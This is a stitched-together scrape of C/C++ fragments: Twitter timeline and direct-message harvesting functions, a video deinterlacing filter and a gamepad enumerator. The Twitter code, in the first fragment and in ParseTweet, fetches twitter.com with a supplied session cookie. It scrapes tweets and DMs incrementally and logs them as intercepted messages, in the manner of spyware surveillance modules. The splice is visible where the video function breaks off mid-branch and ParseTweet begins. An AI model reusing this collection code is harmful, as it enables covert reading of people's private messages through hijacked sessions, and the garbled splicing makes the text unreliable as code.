			thread_parser1 += strlen(TWITTER_DM_TIMESTAMP_START);
			thread_parser2 = strstr(thread_parser1, "\\\"");

			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strTimestamp, sizeof(strTimestamp), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm timestamp: '%S'\n", __FUNCTION__, strTimestamp);
#endif	

			/* if the tweet is new save it , discard otherwise */
			if (!atoi(strTimestamp))
				continue;

			sscanf_s(strTimestamp, "%llu", &act_tstamp);

			if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
				continue;

			/* should hold true only for the first tweet in the batch */
			if( act_tstamp.LowPart > dwHigherBatchTimestamp )
				dwHigherBatchTimestamp = act_tstamp.LowPart; 

			_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
			tstamp.tm_year += 1900;
			tstamp.tm_mon++;


			/* strDmType is either 'sent' or received */
			if( !strcmp(strDmType, "sent") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, strCurrentThreadHandle, strCurrentThreadHandle, username, username, strDmContent, &tstamp, FALSE);
			else if( !strcmp(strDmType, "received") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, username, username, strCurrentThreadHandle, strCurrentThreadHandle, strDmContent, &tstamp, FALSE);

#ifdef _DEBUG
			OutputDebug(L"[*] %S - logging: %S <-> %S : %S %llu\n", __FUNCTION__, username, strCurrentThreadHandle, strDmContent, tstamp);
#endif


		}

		/* free loop allocated buffer */
		zfree(thread_buffer);
		thread_buffer = NULL;
	}

	/* save the most recent timestamp we got from all conversations */
	SocialSetLastTimestamp(strUsernameForDm, dwHigherBatchTimestamp, 0);

	zfree(thread_buffer); // if we bailed out of conversation parsing loop, thread_buffer is still allocated, proceed with free'ing
	zfree(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Exemple #28
0
HRESULT CLAVVideo::Filter(LAVFrame *pFrame)
{
  int ret = 0;
  BOOL bFlush = pFrame->flags & LAV_FRAME_FLAG_FLUSH;
  if (m_Decoder.IsInterlaced(FALSE) && m_settings.DeintMode != DeintMode_Disable
    && (m_settings.SWDeintMode == SWDeintMode_YADIF || m_settings.SWDeintMode == SWDeintMode_W3FDIF_Simple || m_settings.SWDeintMode == SWDeintMode_W3FDIF_Complex)
    && ((bFlush && m_pFilterGraph) || pFrame->format == LAVPixFmt_YUV420 || pFrame->format == LAVPixFmt_YUV422 || pFrame->format == LAVPixFmt_NV12)) {
    AVPixelFormat ff_pixfmt = (pFrame->format == LAVPixFmt_YUV420) ? AV_PIX_FMT_YUV420P : (pFrame->format == LAVPixFmt_YUV422) ? AV_PIX_FMT_YUV422P : AV_PIX_FMT_NV12;

    if (!bFlush && (!m_pFilterGraph || pFrame->format != m_filterPixFmt || pFrame->width != m_filterWidth || pFrame->height != m_filterHeight)) {
      DbgLog((LOG_TRACE, 10, L":Filter()(init) Initializing YADIF deinterlacing filter..."));
      if (m_pFilterGraph) {
        avfilter_graph_free(&m_pFilterGraph);
        m_pFilterBufferSrc = nullptr;
        m_pFilterBufferSink = nullptr;
      }

      m_filterPixFmt = pFrame->format;
      m_filterWidth  = pFrame->width;
      m_filterHeight = pFrame->height;

      char args[512];
      enum AVPixelFormat pix_fmts[3];

      if (ff_pixfmt == AV_PIX_FMT_NV12) {
        pix_fmts[0] = AV_PIX_FMT_NV12;
        pix_fmts[1] = AV_PIX_FMT_YUV420P;
      } else {
        pix_fmts[0] = ff_pixfmt;
        pix_fmts[1] = AV_PIX_FMT_NONE;
      }
      pix_fmts[2] = AV_PIX_FMT_NONE;

      AVFilter *buffersrc  = avfilter_get_by_name("buffer");
      AVFilter *buffersink = avfilter_get_by_name("buffersink");
      AVFilterInOut *outputs = avfilter_inout_alloc();
      AVFilterInOut *inputs  = avfilter_inout_alloc();

      m_pFilterGraph = avfilter_graph_alloc();

      av_opt_set(m_pFilterGraph, "thread_type", "slice", AV_OPT_SEARCH_CHILDREN);
      av_opt_set_int(m_pFilterGraph, "threads", FFMAX(1, av_cpu_count() / 2), AV_OPT_SEARCH_CHILDREN);

      // 0/0 is not a valid value for avfilter, make sure it doesn't happen
      AVRational aspect_ratio = pFrame->aspect_ratio;
      if (aspect_ratio.num == 0 || aspect_ratio.den == 0)
        aspect_ratio = { 0, 1 };

      _snprintf_s(args, sizeof(args), "video_size=%dx%d:pix_fmt=%s:time_base=1/10000000:pixel_aspect=%d/%d", pFrame->width, pFrame->height, av_get_pix_fmt_name(ff_pixfmt), pFrame->aspect_ratio.num, pFrame->aspect_ratio.den);
      ret = avfilter_graph_create_filter(&m_pFilterBufferSrc, buffersrc, "in", args, nullptr, m_pFilterGraph);
      if (ret < 0) {
        DbgLog((LOG_TRACE, 10, L"::Filter()(init) Creating the input buffer filter failed with code %d", ret));
        avfilter_graph_free(&m_pFilterGraph);
        goto deliver;
      }

      ret = avfilter_graph_create_filter(&m_pFilterBufferSink, buffersink, "out", nullptr, nullptr, m_pFilterGraph);
      if (ret < 0) {
        DbgLog((LOG_TRACE, 10, L"::Filter()(init) Creating the buffer sink filter failed with code %d", ret));
        avfilter_free(m_pFilterBufferSrc);
        m_pFilterBufferSrc = nullptr;
        avfilter_graph_free(&m_pFilterGraph);
        goto deliver;
      }

      /* set allowed pixfmts on the output */
      av_opt_set_int_list(m_pFilterBufferSink->priv, "pix_fmts", pix_fmts, AV_PIX_FMT_NONE, 0);

      /* Endpoints for the filter graph. */
      outputs->name       = av_strdup("in");
      outputs->filter_ctx = m_pFilterBufferSrc;
      outputs->pad_idx    = 0;
      outputs->next       = nullptr;

      inputs->name       = av_strdup("out");
      inputs->filter_ctx = m_pFilterBufferSink;
      inputs->pad_idx    = 0;
      inputs->next       = nullptr;

      if (m_settings.SWDeintMode == SWDeintMode_YADIF)
        _snprintf_s(args, sizeof(args), "yadif=mode=%s:parity=auto:deint=interlaced", (m_settings.SWDeintOutput == DeintOutput_FramePerField) ? "send_field" : "send_frame");
      else if (m_settings.SWDeintMode == SWDeintMode_W3FDIF_Simple)
        _snprintf_s(args, sizeof(args), "w3fdif=filter=simple:deint=interlaced");
      else if (m_settings.SWDeintMode == SWDeintMode_W3FDIF_Complex)
        _snprintf_s(args, sizeof(args), "w3fdif=filter=complex:deint=interlaced");
      else
        ASSERT(0);

      if ((ret = avfilter_graph_parse_ptr(m_pFilterGraph, args, &inputs, &outputs, nullptr)) < 0) {
        DbgLog((LOG_TRACE, 10, L"::Filter()(init) Parsing the graph failed with code %d", ret));
        avfilter_graph_free(&m_pFilterGraph);
        goto deliver;
      }

      if ((ret = avfilter_graph_config(m_pFilterGraph, nullptr)) < 0) {
        DbgLog((LOG_TRACE, 10, L"::Filter()(init) Configuring the graph failed with code %d", ret));
        avfilter_graph_free(&m_pFilterGraph);
        goto deliver;
      }

      DbgLog((LOG_TRACE, 10, L":Filter()(init) avfilter Initialization complete"));
    }

    if (!m_pFilterGraph)
      goto deliver;

    if (pFrame->direct) {
      HRESULT hr = DeDirectFrame(pFrame, true);
      if (FAILED(hr)) {
        ReleaseFrame(&pFrame);
        return hr;
      }
    }

    AVFrame *in_frame = nullptr;
    BOOL refcountedFrame = (m_Decoder.HasThreadSafeBuffers() == S_OK);
    // When flushing, we feed a NULL frame
    if (!bFlush) {
      in_frame = av_frame_alloc();

      for (int i = 0; i < 4; i++) {
        in_frame->data[i] = pFrame->data[i];
        in_frame->linesize[i] = (int)pFrame->stride[i];
      }

      in_frame->width               = pFrame->width;
      in_frame->height              = pFrame->height;
      in_frame->format              = ff_pixfmt;
      in_frame->pts                 = pFrame->rtStart;
      in_frame->interlaced_frame    = pFrame->interlaced;
      in_frame->top_field_first     = pFrame->tff;
      in_frame->sample_aspect_ratio = pFrame->aspect_ratio;

      if (refcountedFrame) {
        AVBufferRef *pFrameBuf = av_buffer_create(nullptr, 0, lav_free_lavframe, pFrame, 0);
        const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get((AVPixelFormat)in_frame->format);
        int planes = (in_frame->format == AV_PIX_FMT_NV12) ? 2 : desc->nb_components;

        for (int i = 0; i < planes; i++) {
          int h_shift    = (i == 1 || i == 2) ? desc->log2_chroma_h : 0;
          int plane_size = (in_frame->height >> h_shift) * in_frame->linesize[i];

          AVBufferRef *planeRef = av_buffer_ref(pFrameBuf);
          in_frame->buf[i] = av_buffer_create(in_frame->data[i], plane_size, lav_unref_frame, planeRef, AV_BUFFER_FLAG_READONLY);
        }
        av_buffer_unref(&pFrameBuf);
      }

      m_FilterPrevFrame = *pFrame;
      memset(m_FilterPrevFrame.data, 0, sizeof(m_FilterPrevFrame.data));
      m_FilterPrevFrame.destruct = nullptr;
    } else {
DWORD ParseTweet(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char tweet_body[2048];
	char tweet_id[256];
	char screen_name[256];
	char tweet_author[256];
	char tweet_timestamp[256];
	ULARGE_INTEGER act_tstamp;
	DWORD last_tstamp_hi, last_tstamp_lo;
	struct tm tstamp;

	/*	since the first tweet of this batch will have a higher timestamp, 
		save it to update social status at the end of the batch  */
	DWORD dwHigherBatchTimestamp = 0;

#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

		
	last_tstamp_lo = SocialGetLastTimestamp(user, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;

	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	/* loop through tweets retrieved from timeline, html structure for a tweet 
		1] tweet id
		2] author
		3] timestamp
		4] body
	*/
	for (;;) {

		/* 1] tweet id
			e.g. data-tweet-id="526625177615220736"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_ID_START);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_TWEET_ID_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet id: %S\n", __FUNCTION__, tweet_id);
#endif

		/* 2] tweet author and display name
			e.g. data-screen-name="TheEconomist" data-name="The Economist" data-user-id="5988062"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_AUTHOR_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_AUTHOR_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_author, sizeof(tweet_author), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet author: %S\n", __FUNCTION__, tweet_author);
#endif

		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet screen_name: %S\n", __FUNCTION__, screen_name);
#endif

		/* 3] timestamp
			e.g.  data-time="1414392201"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_TIMESTAMP_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_TIMESTAMP_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_timestamp, sizeof(tweet_timestamp), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

				
#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet time stamp: %S\n", __FUNCTION__, tweet_timestamp);
#endif


		/* 4] tweet body: 
		   e.g. <p class="js-tweet-text tweet-text" lang="en" data-aria-label-part="0">BODY</p>
		   a) find start of <p>, and then reach the end of <p>
		   b) find </p>
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_START);
		if( !parser1 )
			break;

		parser1 = strchr(parser1, '>');
		if( !parser1 )
			break;

		parser1 += 1;
		parser2 = strstr(parser1, TWITTER_TWEET_END);

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_body, sizeof(tweet_body), _TRUNCATE, "%s", parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet body: %S\n", __FUNCTION__, tweet_body);
#endif


		/* if the tweet is new save it , discard otherwise */
		if (!atoi(tweet_timestamp))
			continue;
		
		sscanf_s(tweet_timestamp, "%llu", &act_tstamp);
		
		if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
			continue;

		/* should hold true only for the first tweet in the batch */
		if( act_tstamp.LowPart > dwHigherBatchTimestamp )
			dwHigherBatchTimestamp = act_tstamp.LowPart; 

		_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
		tstamp.tm_year += 1900;
		tstamp.tm_mon++;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - logging: @%S -> %S : %llu\n", __FUNCTION__, screen_name, tweet_body, tstamp);
#endif
		SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, "", "", screen_name, "", tweet_body, &tstamp, FALSE);
	
	}


	SocialSetLastTimestamp(user, dwHigherBatchTimestamp, 0);

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
		//*************************************************************//
		// CHECK FOR NEW CONTROLLERS
		bool InputManager::CheckForNewControllers( void )
		{
			// Sanity-check the wrapper's status
			assert( m_eStatus == E_INITIALIZED && "InputManager::CheckForNewControllers - wrapper has not been initialized" );
			if( m_eStatus != E_INITIALIZED )
				return false;

			// Read new gamepads (too slow to call every Update)
			std::vector< DIDEVICEINSTANCEW > instances;
			HRESULT hResult = m_pDirectInput->EnumDevices( DI8DEVCLASS_GAMECTRL, &EnumerateJoystick, &instances, DIEDFL_ATTACHEDONLY );
			if( FAILED( hResult ) )
			{
				// MESSAGE
				char szBuffer[ 128 ];
				_snprintf_s( szBuffer, 128, _TRUNCATE, "!!! InputManager::CheckForNewControllers - failed to enumerate DirectInput devices (0x%X) !!!\n", hResult );
				OutputDebugStringA( szBuffer );

				return false;
			}


			// Hold the current number of known devices
			unsigned int numKnown = m_vGamepads.size();


			// Initialize each device
			for( unsigned int i = 0; i < instances.size(); i++ )
			{
				// Has this device already been initialized?
				bool known = false;
				for( unsigned int j = 0; j < m_vGamepads.size(); j++ )
					if( instances[ i ].guidInstance == m_vGamepads[ j ].id )
					{
						known = true;
						break;
					}

				if( known == true )
					continue;


				// New device
				GamepadInfo info = { };
				info.id = instances[ i ].guidInstance;


				// Create the device
				hResult = m_pDirectInput->CreateDevice( info.id, &info.pDevice, nullptr );
				if( FAILED( hResult ) )
					continue;


				// Get the capabilities
				DIDEVCAPS capabilities;
				memset( &capabilities, 0, sizeof( capabilities ) );
				capabilities.dwSize = sizeof( capabilities );
				hResult = info.pDevice->GetCapabilities( &capabilities );
				if( FAILED( hResult ) )
					continue;

				if( capabilities.dwAxes > 4 )
					info.bHasTriggerAxis = true;


				// Set the cooperative level
				hResult = info.pDevice->SetCooperativeLevel( m_hWnd, DISCL_EXCLUSIVE | DISCL_FOREGROUND );
				if( FAILED( hResult ) )
					continue;
				

				// Set the data format (simple joystick)
				hResult = info.pDevice->SetDataFormat( &c_dfDIJoystick );
				if( FAILED( hResult ) )
					continue;


				// Set joystick axes properties: range / deadzone(min) / saturation(max)
				DIPROPRANGE range;
				range.lMin = -1000;
				range.lMax = +1000;
				range.diph.dwSize = sizeof( DIPROPRANGE );
				range.diph.dwHeaderSize = sizeof( DIPROPHEADER );
				range.diph.dwHow = DIPH_DEVICE;
				range.diph.dwObj = 0;

				info.pDevice->SetProperty( DIPROP_RANGE, &range.diph );

				
				DIPROPDWORD deadzone;
				deadzone.dwData = 1000;		// 10%  	- any movement less than deadzone threshold is min
				deadzone.diph.dwSize = sizeof( DIPROPDWORD );
				deadzone.diph.dwHeaderSize = sizeof( DIPROPHEADER );
				deadzone.diph.dwHow = DIPH_DEVICE;
				deadzone.diph.dwObj = 0;

				info.pDevice->SetProperty( DIPROP_DEADZONE, &deadzone.diph );

								
				DIPROPDWORD saturation;
				saturation.dwData = 9000;	// 90%  	- any movement greater than saturation threshold is max
				saturation.diph.dwSize = sizeof( DIPROPDWORD );
				saturation.diph.dwHeaderSize = sizeof( DIPROPHEADER );
				saturation.diph.dwHow = DIPH_DEVICE;
				saturation.diph.dwObj = 0;

				info.pDevice->SetProperty( DIPROP_SATURATION, &saturation.diph );
						


				// Acquire the joystick 
				hResult = info.pDevice->Acquire();

				// Ignore failure so the device registers; will be handled in Update
				//if( FAILED( hResult ) )
				//	continue;


				// Store the product name				
				info.wszName = _wcsdup( instances[ i ].tszProductName );

				// Store the gamepad
				m_vGamepads.push_back( info );
			}
					
			// Did a joystick initialization fail?
			if( m_vGamepads.size() != instances.size() )
			{
				// MESSAGE
				char szBuffer[ 128 ];
				_snprintf_s( szBuffer, 128, _TRUNCATE, "!!! InputManager::CheckForNewControllers - failed to initialize a DirectInput device !!!\n" );
				OutputDebugStringA( szBuffer );
			}


			// Was there a new joystick?
			return ( m_vGamepads.size() > numKnown );
		}